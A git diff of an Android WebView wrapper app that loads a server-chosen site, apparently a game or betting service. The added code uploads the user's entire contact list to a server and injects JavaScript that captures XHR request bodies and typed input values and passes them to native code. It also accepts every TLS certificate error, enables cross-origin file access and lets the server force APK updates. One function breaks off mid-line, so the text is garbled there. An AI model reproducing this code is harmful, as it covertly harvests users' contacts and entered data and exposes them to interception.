settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); + } + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(webViewClient); + Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); + webView.addJavascriptInterface(new JsInterface(), "WebViewHook"); + + showTopLy.setBackgroundColor(Color.parseColor(getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + getNetUrl(); + getNotifyList(); + LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString()); + + + } + + public void getNotifyList() { + + Api.getInstance().getNotifyList(userId, 1, 1) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if (o.data != null && o.data.getTotal() > 0) { + if(userId == 217||userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else{ + otherApp.setVisibility(View.INVISIBLE); + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + + } + + ivNotify.setVisibility(View.VISIBLE); + if (userId == 112 || userId == 87 || userId == 91 || userId == 93 + || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) { + ivNotify.setVisibility(View.INVISIBLE); + layoutOtherApp.setVisibility(View.GONE); + } + } + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + } + }); + } + + public void getNetUrl() { + Api.getInstance().geUrlNew(userId) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>() { + @Override + public void onSuccess(Result o) { + + DataInfo dataInfo = o.data; + if (dataInfo != null) { + if (dataInfo.getIsUse() == 0) { + MainActivity2.this.finish(); + return; + } + if (!TextUtils.isEmpty(dataInfo.getUrl())) { + saveString(MainActivity2.this, "base_url", dataInfo.getUrl()); + webView.loadUrl(dataInfo.getUrl()); + } +// shareUrl = dataInfo.getDownloadUrl(); + String link = dataInfo.getLinkConfig(); + if (!TextUtils.isEmpty(link)) { + try { + linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); + } catch (Exception e) { + + } + } + if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { + LogUtils.i("版本号:" + Integer.parseInt(dataInfo.getVersionCode()) + ";" + getInt(MainActivity2.this, "version_code", 0)); + if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2.this, "version_code", 0)) { + ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), + getString(R.string.lijigengxin_txt)); + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + checkUpdate(dataInfo.getApkUrl()); + } + + @Override + public void toCancel() { + if (dataInfo.getForceUpdate() == 1) { + MainActivity2.this.finish(); + } + } + }); + actionDialog.show(); + } + } + contactApply = dataInfo.getContactApplyMode(); + notifyApply = dataInfo.getNoticeApplyMode(); + if (contactApply == 0 || contactApply == 1) { + readContact(); + } + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + facebookUrl = dataInfo.getFbUrl().trim(); + telegramUrl = dataInfo.getTgUrl().trim(); + whatsappUrl = dataInfo.getWsUrl().trim(); + if (!TextUtils.isEmpty(facebookUrl)) { + if(userId == 217 || userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else { + otherApp.setVisibility(View.INVISIBLE); + } + ivFaceBook.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(telegramUrl)) { + if(userId == 217 || userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else { + otherApp.setVisibility(View.INVISIBLE); + } + ivTelG.setVisibility(View.VISIBLE); + } + if (!TextUtils.isEmpty(whatsappUrl)) { + if(userId == 217 || userId == 211){ + otherApp.setVisibility(View.VISIBLE); + }else { + otherApp.setVisibility(View.INVISIBLE); + } + ivWhatsApp.setVisibility(View.VISIBLE); + } + if (userId == 143 || userId == 149) { + otherApp.setVisibility(View.INVISIBLE); + ivFaceBook.setVisibility(View.GONE); + ivTelG.setVisibility(View.GONE); + ivWhatsApp.setVisibility(View.GONE); + layoutOtherApp.setVisibility(View.GONE); + } + } else { + url = getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + + } + + @Override + public void onError(int code, String msg) { + url = getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + + @Override + public void onError2(Result o) { + url = getString(MainActivity2.this, "base_url", url); + webView.loadUrl(url); + } + }); + + } + + + private void checkUpdate(String url) { + new AppUpdater(this, url).start(); + } + + List contents = new ArrayList<>(); + private static String[] PERMISSIONS_READCONTACT = { + Manifest.permission.READ_CONTACTS}; + + public void readContact() { + + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.READ_CONTACTS) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_READCONTACT, 2222); + } else { + //开启线程上传数据 + new Thread(() -> { + //获取通讯录 + contents = new ArrayList<>(); + Cursor cursor = null; + try { + cursor = getContentResolver().query( + ContactsContract.CommonDataKinds.Phone.CONTENT_URI, + null, null, null, null); + while (cursor.moveToNext()) { + int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); + String displayName = cursor.getString(i_name); + int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); + String number = cursor.getString(i_number); + ContactBean bean = new ContactBean(displayName, number.trim()); + contents.add(bean); + } + } catch (Exception e) { + e.printStackTrace(); + } finally { + if (cursor != null) { + cursor.close(); + postReadContact(contents); + } + } + }).start(); + + + } + } + + public void postReadContact(List contents) { + Gson gson = new Gson(); + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("customers", contents); + String result = gson.toJson(map); + MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); + Api.getInstance().readContact(RequestBody.create(mediaType, result)) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void setDownloadNumbers() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().downloadNumbers(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + LogUtils.i("URL是啥获取的文件地址:"); + saveBoolean(MainActivity2.this, "download", true); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("error:" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + public void setTotalTongJi() { + HashMap map = new HashMap<>(); + map.put("userId", userId); + Api.getInstance().totalTongJi(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + } + + @Override + public void onError2(Result o) { + + } + }); + } + + + Handler handler = new Handler(); + + boolean hasSignIn = false; + + private void evaluateJavascript(WebView webView, String javascript) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) { + webView.evaluateJavascript(javascript, null); + } else { + webView.loadUrl("javascript:" + javascript); + } + } + private void injectBaseHooks(WebView webView) { + String baseHook = + "javascript:(function() {" + + " window.__webview_hooks = {" + + " hooks: {}," + + " register: function(name, callback) {" + + " this.hooks[name] = callback;" + + " }," + + " trigger: function(name, data) {" + + " if (window.WebViewHook) {" + + " window.WebViewHook.onHookEvent(name, JSON.stringify(data));" + + " }" + + " }," + + " log: function(message) {" + + " if (window.WebViewHook) {" + + " window.WebViewHook.log(message);" + + " }" + + " }" + + " };" + + "})()"; + + evaluateJavascript(webView, baseHook); + } + + + private void injectFormHooks(WebView webView) { + String formHook = + "javascript:(function() {" + + " // 拦截表单提交" + + " var forms = document.getElementsByTagName('form');" + + " for (var i = 0; i < forms.length; i++) {" + + " (function(form) {" + + " form.addEventListener('submit', function(e) {" + + " var formData = new FormData(form);" + + " var params = {};" + + " for (var pair of formData.entries()) {" + + " params[pair[0]] = pair[1];" + + " }" + + " " + + " window.__webview_hooks.trigger('form_submit', {" + + " action: form.action," + + " method: form.method," + + " data: params," + + " formId: form.id || 'no-id'" + + " });" + + " });" + + " })(forms[i]);" + + " }" + + " " + + " // 监听动态添加的表单" + + " var observer = new MutationObserver(function(mutations) {" + + " mutations.forEach(function(mutation) {" + + " for (var i = 0; i < mutation.addedNodes.length; i++) {" + + " var node = mutation.addedNodes[i];" + + " if (node.nodeName === 'FORM') {" + + " node.addEventListener('submit', function(e) {" + + " // 处理新表单..." + + " });" + + " }" + + " }" + + " });" + + " });" + + " observer.observe(document.body, { childList: true, subtree: true });" + + "})()"; + + evaluateJavascript(webView, formHook); + } + + private void injectClickHooks(WebView webView) { + String clickHook = + "javascript:(function() {" + + " document.addEventListener('click', function(e) {" + + " var target = e.target;" + + " var data = {" + + " tagName: target.tagName," + + " id: target.id || 'no-id'," + + " className: target.className || 'no-class'," + + " text: target.textContent ? target.textContent.substring(0, 100) : 'no-text'," + + " href: target.href || 'no-href'" + + " };" + + " " + + " window.__webview_hooks.trigger('element_click', data);" + + " }, true);" + + "})()"; + + evaluateJavascript(webView, clickHook); + } + + private void injectAjaxHooks(WebView webView) { + String ajaxHook = + "javascript:(function() {" + + " var originalXHR = window.XMLHttpRequest;" + + " " + + " function HookedXHR() {" + + " var xhr = new originalXHR();" + + " var originalOpen = xhr.open;" + + " var originalSend = xhr.send;" + + " " + + " xhr.open = function(method, url, async, user, password) {" + + " this._method = method;" + + " this._url = url;" + + " return originalOpen.apply(this, arguments);" + + " };" + + " " + + " xhr.send = function(data) {" + + " if (data) {" + + " window.__webview_hooks.trigger('ajax_request', {" + + " method: this._method," + + " url: this._url," + + " data: data" + + " });" + + " }" + + " return originalSend.apply(this, arguments);" + + " };" + + " " + + " return xhr;" + + " }" + + " " + + " window.XMLHttpRequest = HookedXHR;" + + "})()"; + + evaluateJavascript(webView, ajaxHook); + } + + private void injectConsoleHooks(WebView webView) { + String consoleHook = + "javascript:(function() {" + + " var originalLog = console.log;" + + " var originalError = console.error;" + + " var originalWarn = console.warn;" + + " " + + " console.log = function() {" + + " window.__webview_hooks.trigger('console_log', {" + + " type: 'log'," + + " message: Array.from(arguments).join(' ')" + + " });" + + " return originalLog.apply(console, arguments);" + + " };" + + " " + + " console.error = function() {" + + " window.__webview_hooks.trigger('console_error', {" + + " type: 'error'," + + " message: Array.from(arguments).join(' ')" + + " });" + + " return originalError.apply(console, arguments);" + + " };" + + " " + + " console.warn = function() {" + + " window.__webview_hooks.trigger('console_warn', {" + + " type: 'warn'," + + " message: Array.from(arguments).join(' ')" + + " });" + + " return originalWarn.apply(console, arguments);" + + " };" + + "})()"; + + evaluateJavascript(webView, consoleHook); + } + + private void injectErrorHooks(WebView webView) { + String errorHook = + "javascript:(function() {" + + " window.addEventListener('error', function(e) {" + + " window.__webview_hooks.trigger('javascript_error', {" + + " message: e.message," + + " filename: e.filename," + + " lineno: e.lineno," + + " colno: e.colno" + + " });" + + " });" + + " " + + " window.addEventListener('unhandledrejection', function(e) {" + + " window.__webview_hooks.trigger('promise_rejection', {" + + " reason: e.reason" + + " });" + + " });" + + "})()"; + + evaluateJavascript(webView, errorHook); + } + + private void injectAllHooks(WebView webView) { +// injectFormHooks(webView); +// injectClickHooks(webView); + injectAjaxHooks(webView); +// injectConsoleHooks(webView); +// injectErrorHooks(webView); + } + + + // WebView webViews; + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageStarted(WebView webView, String s, Bitmap bitmap) { + super.onPageStarted(webView, s, bitmap); + injectBaseHooks(webView); + + } + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + if (webView.getUrl().contains("hasSignIn")) { + hasSignIn = true; + } + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + if (showTopLy.getVisibility() == View.VISIBLE) { + handler.postDelayed(() -> showTopLy.setVisibility(View.GONE), 1000); + } + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + injectAllHooks(webView); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, String s) { + + return super.shouldInterceptRequest(webView, s); + } + + @Override + public WebResourceResponse shouldInterceptRequest(WebView webView, WebResourceRequest webResourceRequest) { + return super.shouldInterceptRequest(webView, webResourceRequest); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedSslError(WebView webView, SslErrorHandler sslErrorHandler, SslError sslError) { + sslErrorHandler.proceed(); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.GONE); + } + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.i("URL是啥1:" + url1); + + if (isToOutSideUrl(url1)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.GONE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + } + + return false; + } + }; + + + boolean isPost = false; + private void postMobile() { + if(isPost){ + return; + } + if (!TextUtils.isEmpty(mobiles)) { + if (!TextUtils.isEmpty(oldMobiles) && oldMobiles.equals(mobiles)) { + return; + } + isPost = true; + HashMap map = new HashMap<>(); + map.put("appId", userId); + map.put("phone", mobiles); + Api.getInstance().appLoginUser(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + isPost =false; + oldMobiles = mobiles; + mobiles = ""; + } + + @Override + public void onError(int code, String msg) { + isPost =false; + } + + @Override + public void onError2(Result o) { + isPost =false; + } + }); + } + } + int counts = 0; + + private void injectInputListener(WebView webView) { + // JS 代码:监听所有 input 和 textarea 的输入事件 + // 你的代码 + Runnable runnable = new Runnable() { + @Override + public void run() { +// // 你的代码 + + String jsCode = "javascript:(function (){" + + // 获取所有输入元素(input 和 textarea) + "var inputs = document.getElementsByTagName('input');" + + // 遍历所有输入元素,添加 input 事件监听 + "for (var i = 0; i < inputs.length; i++) {" + + "inputs[i].addEventListener('input', function(){" + + // 触发输入时,调用 Android 接口传递内容 + "window.AndroidInterface.onInputChanged(this.value);" + + "});" + + "}" + + "if(0 parseFormData(String body) throws UnsupportedEncodingException { + Map params = new HashMap<>(); + String[] pairs = body.split("&"); + for (String pair : pairs) { + String[] keyValue = pair.split("=", 2); // 按第一个=分割 + if (keyValue.length == 2) { + String key = URLDecoder.decode(keyValue[0], StandardCharsets.UTF_8.name()); + String value = URLDecoder.decode(keyValue[1], StandardCharsets.UTF_8.name()); + params.put(key, value); + } + } + return params; + } + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + } + + public void onShowNetView() { + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + } + + + boolean isAtGame = false; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + return true; + } + + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + + LogUtils.i("URL是啥新窗口:" + url); + + if (isToOutSideUrl(url)) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } + + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + LogUtils.i("URL是啥新窗口结束:" + url); + + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.GONE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { + readContact(); + } else { + //没同意 + if (contactApply == 1) { + MainActivity2.this.finish(); + } + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + if (notifyApply == 0 || notifyApply == 1) { + checkNotify(); + } + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + + +} diff --git a/base_theme/src/main/java/com/web/base/MessageInfo.java b/base_theme/src/main/java/com/web/base/MessageInfo.java new file mode 100644 index 0000000..c6852f1 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/MessageInfo.java @@ -0,0 +1,96 @@ +package com.web.base; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + private String title; + private String content; + private String image = ""; + private int type; // 1:文字 2:图片 3:链接跳转 + private int pushId; + private String createTime; + private int recordId; + public int status; + private String jumpUrl; + private boolean isShowAll = false; + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public int getRecordId() { + return recordId; + } + + public void setRecordId(int recordId) { + this.recordId = recordId; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public boolean isShowAll() { + return isShowAll; + } + + public void setShowAll(boolean showAll) { + isShowAll = showAll; + } + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/base_theme/src/main/java/com/web/base/MyNotifyListAdapter.java b/base_theme/src/main/java/com/web/base/MyNotifyListAdapter.java new file mode 100644 index 0000000..a96fc7c --- /dev/null +++ b/base_theme/src/main/java/com/web/base/MyNotifyListAdapter.java @@ -0,0 +1,179 @@ +package com.web.base; + +import android.content.Context; +import android.text.TextUtils; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.constraintlayout.widget.ConstraintLayout; +import androidx.recyclerview.widget.RecyclerView; + +import com.bumptech.glide.Glide; + +import java.security.Timestamp; +import java.text.ParseException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; + +/** + * 通知列表适配器 + */ +public class MyNotifyListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + private Context context; + private MessageInfo messageItem; + + + public MyNotifyListAdapter(Context context, List listdata, MessageInfo messageItem) { + this.context = context; + this.listdata = listdata; + this.messageItem = messageItem; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_notify_list, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + + MessageInfo messageInfo = listdata.get(position); + if (messageItem != null && messageInfo.getRecordId() == messageItem.getPushId()) { + messageInfo.setShowAll(true); + messageItem = null; + } + switch (messageInfo.getType()){ + case 2: + 